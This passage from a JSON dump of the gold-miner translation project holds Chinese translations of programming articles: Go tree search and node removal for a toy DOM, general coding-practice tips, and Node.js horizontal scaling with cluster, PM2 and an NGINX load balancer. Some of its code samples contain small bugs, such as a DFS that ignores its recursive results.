`getElementById` 并找到它想找到的 `Node`。\n\n为此，我们需要实现一个树查询算法。搜索（或者遍历）图结构和树结构最流行的方法是广度优先搜索（BFS）和深度优先搜索（DFS）。\n\n### 广度优先搜素⬅➡\n\n顾名思义，BFS 采用的遍历方式会首先考虑探索节点的“宽度”再考虑“深度”。下面是 BFS 算法遍历整个树结构的可视化图：\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/mydom-tree-bfs-steps.png)\n\n正如你所看到的，这个算法会先在深度上走两步（通过 `html` 和 `body` 节点），然后它会遍历 `body` 的所有子节点，最后深入到下一层从而访问到 `span` 和 `img` 节点。\n\n如果你想要一步一步的说明，它将会是：\n\n1.  我们从根部 `html` 节点开始\n2.  我们把它推到 `queue`\n3.  我们开始进入一个循环，如果 `queue` 不为空，这个循环会一直运行\n4. 我们检查 `queue` 中的下一个元素是否与查询的匹配。如果匹配上了，我们就返回这个节点然后整个就结束了\n5. 当找不到匹配项时，我们把被检查节点的子节点都放入队列中，这样就可以在之后检查它们了\n6. `GOTO` 第四步\n\n让我们看看在 Go 里面这个算法的简单实现，我将会分享一些如何可以轻松记住算法的建议。\n\n```\nfunc findById(root *Node, id string) *Node {\n        queue := make([]*Node, 0)\n        queue = append(queue, root)\n        for len(queue) > 0 {\n                nextUp := queue[0]\n                queue = queue[1:]\n                if nextUp.id == id {\n                        return nextUp\n                }\n                if len(nextUp.children) > 0 {\n                        for _, child := range nextUp.children {\n                                queue = append(queue, child)\n                        }\n                }\n        }\n        return nil\n}\n```\n\n这个算法有 3 个关键点：\n\n1. `queue` —— 它将包含算法访问的所有节点\n2. 获取 `queue` 中的第一个元素，检查它是否匹配，如果该节点未匹配，则继续下一个节点\n3. 在查看 `queue` 的下一个元素之前把节点的所有子节点都**入队列**。\n\n从本质上讲，整个算法围绕着在队列中推入子节点和检测已经在队列中的节点实现。当然，如果在队列的末尾还是找不到匹配项的话我们就返回 `nil` 而不是指向 `Node` 的指针。\n\n### 深度优先搜索 ⬇\n\n为了完整起见，让我们来看看 DFS 是如何工作的。\n\n如前所述，深度优先搜索首先会在深度上访问尽可能多的节点，直到到达树结构中的一个叶节点。当这种情况发生时，它就会回溯到上面的节点并在树结构中找到另一个分支再继续向下访问。\n\n让我们看下这看起来意味着什么：\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/mydom-tree-dfs-steps.png)\n\n如果这让你觉得困惑，请不要担心——我在讲述步骤中增加了更多的细节支持我的解释。\n\n这个算法开始就像 BFS 一样 —— 它从 `html` 到 `body` 再到 `div` 节点。然后，与之不同的是，该算法并没有继续遍历到 `h1` 节点，它往叶节点 `span` 前进了一步。一旦它发现 `span` 是个叶节点，它就会返回 `div` 节点以查找其它分支去探索。因为在 `div` 也找不到，所以它会移回 `body` 节点，在这个节点它找到了一个新分支，它就会去访问该分支中的 `h1` 节点。然后，它会继续之前同样的步骤 —— 返回 `body` 节点然后发现还有另一个分支要去探索 —— 最后会访问到 `p` 和 `img` 节点。\n\n如果你想要知道“我们如何在没有指向父节点指针情况下返回到父节点的话”，那么你已经忘了在书中最古老的技巧之一 —— 递归。让我们来看下这个算法在 Go 中的简单递归实现：\n\n```\nfunc findByIdDFS(node *Node, id string) *Node {\n        if node.id == id {\n                return node\n        }\n\n        if len(node.children) > 0 {\n                for _, child := range node.children {\n                        findByIdDFS(child, id)\n                }\n        }\n        return nil\n}\n```\n\n## 通过类名搜索🔎\n\nMyDOM（TM）应该具有的另一个功能是通过类名来查找节点。基本上，当 JavaScript 脚本执行 `getElementsByClassName` 时，MyDOM 应该知道如何收集具有某个特定类名的所有节点。\n\n可以想像，这也是一种必须探寻整个 MyDOM（TM）结构树从中获取符合特定条件的节点的算法。\n\n简单起见，我们先来实现一个 `Node` 结构的方法，叫做 `hasClass`：\n\n\n```\nfunc (n *Node) hasClass(className string) bool {\n        classes := strings.Fields(n.classes)\n        for _, class := range classes {\n                if class == className {\n                        return true\n                }\n        }\n        return false\n}\n```\n\n`hasClass` 获取 `Node` 结构的 classes 字段，通过空格字符来分割它们，然后再循环这个 classes 的切片并尝试查找到我们想要的类名。让我们来写几个测试用例来验证这个函数：\n\n\n```\ntype testcase struct {\n        className      string\n        node           Node\n        expectedResult bool\n}\n\nfunc TestHasClass(t *testing.T) {\n        cases := []testcase{\n                testcase{\n                        className:      \"foo\",\n                        node:           Node{classes: \"foo bar\"},\n                        expectedResult: true,\n                },\n                testcase{\n                        className:      \"foo\",\n                        node:           Node{classes: \"bar baz qux\"},\n                        expectedResult: false,\n                },\n                testcase{\n                        className:      \"bar\",\n                        node:           Node{classes: \"\"},\n                        expectedResult: false,\n                },\n        }\n\n        for _, case := range cases {\n                result := case.node.hasClass(test.className)\n                if result != case.expectedResult {\n                        t.Error(\n                                \"For node\", case.node,\n                                \"and class\", case.className,\n                                \"expected\", case.expectedResult,\n                                \"got\", result,\n                        )\n                }\n        }\n}\n```\n\n如你所见，`hasClass` 函数会检测 `Node` 的类名是否在类名列表中。现在，让我们继续完成对 MyDOM 的实现，即通过类名来查找所有匹配的 `Node`。\n\n\n```\nfunc findAllByClassName(root *Node, className string) []*Node {\n        result := make([]*Node, 0)\n        queue := make([]*Node, 0)\n        queue = append(queue, root)\n        for len(queue) > 0 {\n                nextUp := queue[0]\n                queue = queue[1:]\n                if nextUp.hasClass(className) {\n                        result = append(result, nextUp)\n                }\n                if len(nextUp.children) > 0 {\n                        for _, child := range nextUp.children {\n                                queue = append(queue, child)\n                        }\n                }\n        }\n        return result\n}\n```\n\n这个算法是不是看起来很熟悉？那是因为你正在看的是一个修改过的 `findById` 函数。`findAllByClassName` 的运作方式和 `findById` 类似，但是它不会在找到匹配项后就直接返回，而是将匹配到的 `Node` 加到 `result` 切片中。它将会继续执行循环操作，直到遍历了所有的 `Node`。\n\n如果没有找到匹配项，那么 `result` 切片将会是空的。如果其中有任何匹配到的，它们都将作为 `result` 的一部分返回。\n\n最后要注意的是在这里我们使用的是广度优先的方式来遍历树结构 —— 这种算法使用队列来储存每个 `Node` 结构，在这个队列中进行循环如果找到匹配项就把它们加入到 `result` 切片中。\n\n## 删除节点 🗑\n\n另一个在 Dom 中经常使用的功能就是删除节点。就像 DOM 可以做到这个一样，我们的MyDOM（TM）也应该可以进行这种操作。\n\n在 Javascript 中执行这个操作的最简单方法是：\n\n\n```\nvar el = document.getElementById('foo');\nel.remove();\n```\n\n尽管我们的 `document` 知道如何去处理 `getElementById`（在后面通过调用 `findById`），但我们的 `Node` 并不知道如何去处理一个 `remove` 函数。从 MyDOM（TM）中删除 `Node` 将会需要两个步骤：\n\n1.  我们找到 `Node` 的父节点然后把它从父节点的子节点集合中删去；\n2.  如果要删除的 `Node` 有子节点，我们必须从 DOM 中删除这些子节点。这意味着我们必须删除所有指向这些子节点的指针和它们的父节点（也就是要被删除的节点），这样 Go 里的垃圾收集器才可以释放这些被占用的内存。\n\n这是实现上述的一个简单方式：\n\n```\nfunc (node *Node) remove() {\n        // Remove the node from it's parents children collection\n        for idx, sibling := range n.parent.children {\n                if sibling == node {\n                        node.parent.children = append(\n                                node.parent.children[:idx],\n                                node.parent.children[idx+1:]...,\n                        )\n                }\n        }\n\n        // If the node has any children, set their parent to nil and set the node's children collection to nil\n        if len(node.children) != 0 {\n                for _, child := range node.children {\n                        child.parent = nil\n                }\n                node.children = nil\n        }\n}\n```\n\n\n一个 `*Node` 将会拥有一个 `remove` 函数，它会执行上面所描述的两个步骤来实现 `Node` 的删除操作。\n\n在第一步中，我们把这个节点从 `parent` 节点的子节点列表中取出来，通过遍历这些子节点，合并这个节点前面的元素和后面的元素组成一个新的列表来删除这个节点。\n\n在第二步中，在检查这个节点是否存在子节点之后，我们将所有子节点中的 `parent` 引用删除，然后把这个 `Node` 的子节点字段设为 `nil`。\n\n## 接下来呢？\n\n显然，我们的 MyDOM（TM）实现永远不可能替代 DOM。但是，我相信这是一个有趣的例子可以帮助你学习，这也是一个很有趣的问题。我们每天都与浏览器交互，因此思考它们暗地里是如何工作的会是一个有趣的练习。\n\n如果你想使用我们的树结构并为其写更多的功能，你可以访问 WC3 的 JavaScript HTML DOM [文档](https://www.w3schools.com/js/js_htmldom_document.asp)然后考虑为 MyDOM 增加更多的功能。\n\n显然，本文的主旨是为了让你了解更多关于树（图）结构的信息，了解目前流行的搜索/遍历算法。但是，无论如何请保持探索和实践，如果对你的 MyDOM 实现有任何改进请在文章下面留个评论。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/good-coding-practices-tips-enhance-code-quality.md",
    "content": "> * 原文地址：[Good Coding Practices – Five Tips to Enhance Code Quality](https://www.thecodingdelight.com/good-coding-practices-tips-enhance-code-quality/)\n> * 原文作者：[Jay](https://www.thecodingdelight.com/author/ljay189/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/good-coding-practices-tips-enhance-code-quality.md](https://github.com/xitu/gold-miner/blob/master/TODO1/good-coding-practices-tips-enhance-code-quality.md)\n> * 译者：[NeoyeElf](https://github.com/NeoyeElf)\n> * 校对者：[dandyxu](https://github.com/dandyxu)，[allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 良好的编码习惯 —— 5 个提高代码质量的技巧\n\n良好的编码习惯像黑夜中的一盏明灯，指引着迷路的开发者安全靠岸。良好的代码是可预测的，是易于调试、扩展和测试的。\n\n良好的编码习惯能够提高你同事的工作效率，同时让你的代码库从整体上给人一种愉快的阅读体验。\n\n接下来我要和你们分享的是 5 个通用的良好编码习惯，它们能提高你代码的可读性，可扩展性和整体质量。越快理解和运用这些准则，你的收益就越大。\n\n让我们开始吧。\n\n## 为什么要有良好的编码习惯？\n\n学习和运用良好的编码习惯就像投资那些你知道一定会成倍增长的股票。换句话说，你只要现在做一次性的投资，在接下来的几年甚至几个月的收益和回报，将会远远超过你现在的投入。\n\n处于职业生涯任何阶段的开发者都会受益于应用和学习良好的编码习惯。就像我上面所说，你越早开始使用它们，你的收益便越大。现在便是最好的时机来学习和将良好的编码习惯应用于你现在的项目。\n\n我提出这些观点，旨在它们能够互相支撑，且无论是作为单独的建议还是组合起来都是合理的。\n\n## 1. 简洁地给方法和变量命名\n\n当给类、变量和方法命名时，我们很容易冲动地按照自己的方式给它们命名。特别是当你觉得这一切都很合理时。试着几个月之后再回头看看那些代码，看看它们是否依旧合理。如果是，那么很有可能是你当时明智地命名了你的变量和方法。\n\n[![良好的编码习惯 —— 方法名类似文章中的标题和句子](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2017/07/good-coding-practices-method-names-are-like-heading-sentences.jpg)](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2017/07/good-coding-practices-method-names-are-like-heading-sentences.jpg)\n\n方法名类似文章中的标题和句子。\n\n因此，当给方法命名时，要能够准确概括方法的内容。如果方法名变得太长或模糊，那么表示该方法做了太多的事情。\n\n方法中的内容组成了方法名。\n\n当你阅读一篇文章时，你觉得最突出的是什么？通常，最突出的是标题。在程序中，**关键方法就像标题**。当你为高中或大学散文写投稿文章时，你是否只是随便瞎写几句，然后不假思索地写完标题？\n\n> 一个简单直观的方法名胜过千言万语。\n\n当然，句子中单词的选择以及如何将它们组合在一起也很重要。这就是为什么我们也需要特意地给我们的变量命名。大多数情况下，在查看代码逻辑之前，人们会试图通过阅读每一行中的变量名来对代码实现细节的有一个整体把握。\n\n确保方法和变量名称都是清晰明了的，且准确地描述了正在发生的事情。想象一下，如果你指引给一个游客错误的方向，他/她会多么生气和困惑。你正在为下一个前来阅读你代码的程序员指引道路。\n\n## 2. 尽可能减少使用全局变量\n\n不管使用哪种语言，你可能在编程中经常听到这种说法。人们只会说使用全局变量不好，而不去解释为什么不好。那么让我来告诉你为什么应该尽可能地减少和避免全局变量。\n\n> 全局变量会造成困惑，因为程序中的任何地方都可以访问到它们。\n\n如果全局变量同时也是可变的，则会增加人们的困惑。如果你声明了一个变量，那么很可能你只是想在自己的代码中去使用它。你猜猜接下来会发生什么？\n\n这里是一个用 JavaScript 语言编写的基础示例，但无论你使用的是哪种编程语言，下面这段代码都应该很容易理解。\n\n```\nvar GLOBAL_NUMBER = 5;\nfunction add(num1) {\nreturn num1 + GLOBAL_NUMBER;\n}\n```\n\n对于这个函数，即使我们传入 num1 = 3，我们也无法确定该方法是否会返回 8，因为该程序的其他部分也许已经修改了 GLOBAL_NUMBER 的值。\n\n这增加了程序产生副作用的可能性，特别是当我们使用多线程编程时。更糟糕的是，程序的复杂性与代码量的大小成正比。\n\n在 100 行的代码中使用单个全局变量是可管理的。但是想象一下，如果这个项目后来演变成一个拥有 10000 行代码的项目。那么项目中有很多地方都可以修改这个变量。而且，到目前为止，代码中可能还添加了其他的全局变量。\n\n现在维护代码简直就是一个噩梦。\n\n如果可能的话，找到消除全局变量的方法。全局变量增加了每个开发人员的工作难度。\n\n## 3. 编写可预测的代码\n\n如果你关注我的博客，你可能会发现我喜欢纯函数。特别地，如果你是初学者，我恳请你尝试编写干净的代码。让我来告诉你编写代码中 4 个需要遵守的点。\n\n**避免状态共享**（emm...全局变量）。**保持函数干净**。换句话说，函数、类、子程序都应该只有单一的职责。\n\n如果你的工作是煮米饭，那就煮米饭，不要做其他的事情，以免让你的同事感到困惑。不要做不该你做的事情。\n\n具有可预测结果的代码就像一台自动售货机。你把钱放进去，按下可乐的按钮。你知道你的钱可以换一罐可乐。对于编码，这条规则也适用。使编码结果可预测。一个良好的编码习惯是编写**可预测结果**的代码。\n\n想象一下，如果你将钱放入自动售货机，按下可乐按钮，但相反，自动售货机给你了芬达。除非你喜欢惊喜，或者你不在乎喝什么，否则你是肯定不会感到快乐的。\n\n无一例外，开发人员并不喜欢由糟糕代码的副作用带来的惊喜。 \n\n让我们来看一个很简单的示例。\n\n```\nfunction add(num1, num2) {\nreturn num1 + num2;\n}\n```\n\n上面这个简单的 add 函数是纯粹的。它产生可预测的结果。无论你在什么环境使用它，无论任何全局变量，如果你输入 1 和 2，你总是会得到 3。\n\n```\n// This will never equal a value \n// other than three\nadd(1, 2);\n```\n\n## 4. 编写可重用的代码\n\n我尝试模块化编码，这样一来我就可以简单地导入该模块，而不必重写它。这比重新发明轮子要好，如果你可以保持模块简洁，这样一来便会减少 bugs 和副作用。\n\n最重要的是，我想让你明白为什么我们喜欢坚持这些原则。\n\n[当可以将代码移植到另一个开发环境并无缝集成到 Tweet 时，代码便是可重用的。](https://twitter.com/share?text=Code+is+reusable+when+it+can+be+ported+to+another+development+environment+and+integrated+seamlessly&url=https://www.thecodingdelight.com/good-coding-practices-tips-enhance-code-quality/%3Futm_source%3Dtwitter%26utm_medium%3Dsocial%26utm_campaign%3DSocialWarfare&via=JayLee189)\n\n请记住，你并不是(或者至少不应该是)唯一编写和维护该代码库的人。基于第一、第二和第三点，可以使我们做到第四点，即编写可重用的代码。换句话说，步骤 1-3 帮助我们编写可重用的代码。让我们回顾复习一下为什么步骤 1-3 能帮助开发人员编写可重用代码。\n\n*   简单明了的方法和变量名使代码更容易被其他开发人员所接受。\n*   可重用的代码不应该依赖于全局状态。使用了依赖库的代码通常被归类为难以重用的代码。\n*   可重用的代码应该产生不依赖于可变状态的一致结果。\n\n当写代码时，尝试问自己：“我能否（或我是否想要）在其他项目中重用这块代码？”。这会帮助你写出可重用的代码，即更加有价值的代码。\n\n## 5. 写单元测试\n\n你可能已经听过很多次了，这是因为单元测试使代码更加成熟和健壮。由于项目时间限制，单元测试成为了不受欢迎的良好编码习惯之一。项目经理和客户希望立刻得到结果。\n\n> 拥有单元测试的代码就像一棵[中国竹子](http://www.mattmorris.com/how-success-is-like-a-chinese-bamboo-tree/)。在开始的时候成效并不明显，但只要你有耐心，在某个适当的时候，收益是显而易见且十分值得的！\n\n在最初的四年里，中国竹子生长受限。和任何其他植物一样，它需要培养。在第五年，它在仅仅 6 周内就长了 80 英尺。\n\n[![拥有单元测试的代码就像竹子](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2017/07/code-written-with-unit-tests-are-like-bamboo-trees.jpg)](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2017/07/code-written-with-unit-tests-are-like-bamboo-trees.jpg)\n\n虽然单元测试能带来的收益并不需要花那么长的时间，但是通常情况下，你和你项目经理的耐心都将受到考验。当然，如果你们愿意花时间去编写这些单元测试并关注代码质量，代码的质量和健壮性都会得到巨大改进。所有这些努力最终都将转化为更好的用户体验和拥有最小副作用的更容易扩展的代码。\n\n如果你不被允许在你的工作代码中编写单元测试，那么尝试养成在你的个人项目中编写单元测试的习惯。许多公司看到了编写单元测试的价值，这是一项非常有用的技能。\n\n比这项技能更重要的是，单元测试能够扩宽开发者的视野，从全局考虑问题，检查所有可能的情况。\n\n考虑这些情况的可能性，从而权衡利弊，添加适当数量的有效检查用例。做各种假设，然后重新设计编码。\n\n所有的这些心血、汗水和眼泪最终将汇聚成优美的、经过测试的纯粹健壮的代码。它可重用，可预测，并可能会很好地服务于你未来的工作。\n\n阅读本文所获取的知识至少可以帮助你成为一名成熟的程序员。\n\n## 完善清单\n\n如果你有其他更好的编码习惯想让我加入这份清单中，或者你觉得清单中遗漏了一个重要的点，请在下方评论留言。我会尽快将您的意见加入这份清单中。\n\n感想您的阅读，happy coding!\n\n### 关于作者 [Jay](https://www.thecodingdelight.com/author/ljay189/)\n\n我是一个程序员，目前住在韩国首尔。我创建这个博客是为了将我已掌握和正在学习的知识用写文章的形式表达出来，以作知识积累，同时也希望能够帮助构建更广大的社区。我热衷于数据结构和算法，专精于后端和数据库。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3.md",
    "content": "> * 原文地址：[Good practices for high-performance and scalable Node.js applications [Part 1/3]](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3-bb06b6204197)\n> * 原文作者：[virgafox](https://medium.com/@virgafox?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3.md)\n> * 译者：[jianboy](https://github.com/jianboy/)\n> * 校对者：[unicar9](https://github.com/unicar9/)\n\n# Node.js 高性能和可扩展应用程序的最佳实践 [第 1/3 部分]\n\n![](https://cdn-images-1.medium.com/max/2000/1*LBVvh_2LqmucG-dP6Em-ww.jpeg)\n\n在本系列的 3 篇文章中，我们将介绍有关开发 Node.js Web 后端应用的一些优秀实践。\n\n本系列将不是关于 Node 的基础教程，您将阅读的所有内容都适用于已经熟悉 Node.js 基础知识的开发者，这些内容有助于他们改进应用架构。\n\n本文主要关注的是效率和性能，以便以更少的资源获得最佳结果。\n\n提高 Web 应用程序吞吐量的一种方法是对其进行扩展，多次实例化以处理多个传入请求，因此本系列第一篇文章将介绍在多核或多台机器上**如何水平扩展 Node.js 应用程序**。\n\n当您扩展时，您必须小心应用程序的不同方面，比如状态和身份验证，因此第二篇文章将介绍在扩展 Node.js 应用程序时必须考虑的一些**注意事项**。\n\n在指定的操作中，有一些**推荐做法**将在第三篇文章中介绍当您扩展到 N 个进程/机器而不打算运行 N 次时，例如拆分 api 和工作进程，采用优先级队列，管理周期性工作，如 cron 进程。\n\n### 第 1 章 —— 水平扩展 Node.js 应用程序\n\n水平扩展是关于复制应用程序实例来处理大量传入请求。此操作可以在一个多核计算机上执行，也可以在不同计算机上执行。\n\n垂直扩展是关于增加单机性能，并且它不涉及代码方面的特定操作。\n\n### 同一台机器上的多个进程\n\n增加应用程序吞吐量的一种常用方法是为计算机的每个核生成一个进程。通过这种方式，我们就可以继续生成和并行这种在 Node.js 中行之有效的『并发』请求管理（参见“事件驱动，非阻塞 I/O”）。\n\n大于核心数量的进程可能并不好，因为在较低级别的进程调度，操作系统可能会均衡这些进程之间的 CPU 时间。\n\n在一个计算机上有不同的扩展策略，但常见的策略是在同一端口上运行多个进程，并使用负载均衡来分配所有进程/核心上的传入请求。\n\n![](https://cdn-images-1.medium.com/max/800/1*p6YEK7y6JsVYBaZkhu4UbQ.png)\n\n下面描述的策略是标准的 Node.js **集群模式**和自动的、更高级别的 **PM2 集群**功能。\n\n### 本机群集模式\n\n本地 Node.js 集群是在一个机器上扩展 Node 应用程序的基本方法（[https://Node.js.org/api/cluster.html](https://nodejs.org/api/cluster.html)）。您的进程的一个实例（称为 “master”）是负责生成其他子进程（称为 “worker”）的实例，每个进程对应一个运行应用程序的进程。 传入请求按照所有 worker 循环策略进行分发，并且在同一端口上访问。\n\n这种方法的主要缺点是必须在代码内管理主进程和工作进程之间的差异，通常使用经典的 if-else 块，而无法轻松修改进程中的进程数。\n\n以下示例取自官方文档：\n\n```\nconst cluster = require(‘cluster’);\nconst http = require(‘http’);\nconst numCPUs = require(‘os’).cpus().length;\n\nif (cluster.isMaster) {\n  \n console.log(`Master ${process.pid} is running`);\n  \n // Fork workers.\n for (let i = 0; i < numCPUs; i++) {\n  cluster.fork();\n }\n  \n cluster.on(‘exit’, (worker, code, signal) => {\n  console.log(`worker ${worker.process.pid} died`);\n });\n  \n} else {\n  \n // Workers can share any TCP connection\n // In this case it is an HTTP server\n http.createServer((req, res) => {\n  res.writeHead(200);\n  res.end(‘hello world\\n’);\n }).listen(8000);\n  \n console.log(`Worker ${process.pid} started`);\n \n}\n```\n\n### PM2 群集模式\n\n如果您使用 PM2 作为进程管理器（我建议您使用），那么有一个神奇的群集功能，可以让您跨所有核心扩展流程，而无需担心群集。PM2 守护进程将作为 “master”，并生成 N 个子进程作为 worker，然后利用轮询算法（round-robin）进行负载均衡。\n\n通过这种方式，您可以像编写单核用法一样编写应用程序（我们将在下一篇文章中介绍一些注意事项），PM2 将关注多核部分。\n\n![](https://cdn-images-1.medium.com/max/800/0*zWc1jyWm1FNEeNgZ.)\n\n在群集模式下启动应用程序后，您可以使用 “pm2 scale” 实时调整实例数，并执行 “0-second-downtime” 重新加载，其中进程将重新串联，以便始终至少有一个在线进程。\n\n作为进程管理器，如果 PM2 在生产中运行节点时，其他有用的进程崩溃了，PM2 也将负责重新启动他们。\n\n如果您需要进一步扩展，则可能需要部署更多计算机。\n\n### 多服务器网络负载均衡\n\n跨多台计算机进行扩展可以理解为在多个核心上进行扩展，有多台计算机，每台计算机运行一个或多个进程，以及用于将流量重定向到每台计算机的负载均衡服务器。\n\n将请求发送到特定节点后，上一段中描述的负载均衡服务器会将流量发送到特定进程。\n\n![](https://cdn-images-1.medium.com/max/800/1*ryiL00dESNJTL_jRnUyAyA.png)\n\n可以以不同方式部署网络负载均衡服务器。 如果您使用 AWS 来配置您的基础架构，一个不错的选择是使用像 ELB（Elastic Load Balancer）这样的托管负载均衡服务器，因为它支持自动扩展等有用功能，并且易于设置。\n\n但是简单点，你可以自己部署一台机器并用 NGINX 设置负载均衡。NGINX 反向代理的配置负载均衡来说非常简单。下面是配置示例：\n\n```\nhttp {\n\n upstream myapp1 {\n   server srv1.example.com;\n   server srv2.example.com;\n   server srv3.example.com;\n }\n \n server {\n   listen 80;\n   location / {\n    proxy_pass http://myapp1;\n   }\n }\n \n}\n```\n\n通过这种方式，负载均衡服务器通过唯一端口将您的应用程序暴露给外部。如果您担心它出现单点故障，您可以部署多个指向相同服务器的负载均衡服务器。\n\n为了在负载均衡服务器之间分配流量（每个都有自己的 IP 地址），您可以向主域添加多个 DNS“A” 记录，因此 DNS 解析将在您配置的多个负载均衡服务器之间分配流量，每次都解析为不同的 IP。\n\n通过这种方式，您还可以在负载均衡服务器上实现冗余。\n\n![](https://cdn-images-1.medium.com/max/800/1*iSVmpaGmwYzXWydLJnzM3A.png)\n\n### 下一步\n\n我们在这里看到了如何在不同级别扩展 Node.js 应用程序，以便从您的系统架构中获得尽可能高的性能，从单节点到多节点和多负载均衡，但要小心：如果您想使用在多进程环境中的应用程序，它必须准备好，否则您将遇到很多问题。\n\n在下一篇文章中，我们将介绍使您的应用程序扩展就绪的一些注意事项。你可以在[这里](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3-2a68f875ce79)找到它。\n\n* * *\n\n**如果这篇文章对你有用，请给我点赞吧 !**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3.md",
    "content": "> * 原文地址：[Good practices for high-performance and scalable Node.js applications [Part 2/3]](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3-2a68f875ce79)\n> * 原文作者：[virgafox](https://medium.com/@virgafox?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n> * 校对者：[calpa](https://github.com/calpa)\n\n# Node.js 高性能和可扩展应用程序的最佳实践 [第 2/3 部分]\n\n![](https://cdn-images-1.medium.com/max/2000/1*dt7IyIBFHQIBwf7_aW861Q.jpeg)\n\n### 第 2 章 —— 如何使您的 Node.js 应用程序安全扩展\n\n在[上篇文章](https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3.md)中，我们学会了如何无需忧虑代码，而水平扩展 Node.js 应用程序。本章中，我们将讨论扩展时必须注意的事项，以便在扩展流程时防止错误发生。\n\n### 从 DB 中分离应用程序实例\n\n本章首先要讲的不是代码，而是你的**基础架构**。\n\n如果你希望应用程序能够多主机扩展，则必须部署数据库到一些独立的主机，以便可以根据需要自由复制主机。\n\n![](https://cdn-images-1.medium.com/max/800/1*uSNVUpjeSG8H8AUK8-Yv7A.png)\n\n在同一台机器上部署应用程序和数据库可能很便宜并且用于开发目的，但绝对不建议用于生产环境，其中应用程序和数据库必须能够独立扩展。这同样适用于像 Redis 这样的内存数据库。\n\n### 无状态\n\n如果您生成应用程序的多个实例，**每个进程都有自己的内存空间**。这意味着即使您在一台机器上运行，当您在全局变量中存储某些值，或者更常见的是在内存中存储会话时，如果负载均衡服务器在下一个请求期间将您重定向到另一个进程，您将无法在那里找到它。\n\n这适用于会话数据和内部值，如任何类型的应用程序配置。\n\n对于可在运行时更改的设置或配置，一种解决方案是将它们存储在外部数据库（磁盘或内存中）上，以使所有进程都可以访问它们。\n\n### 使用 JWT 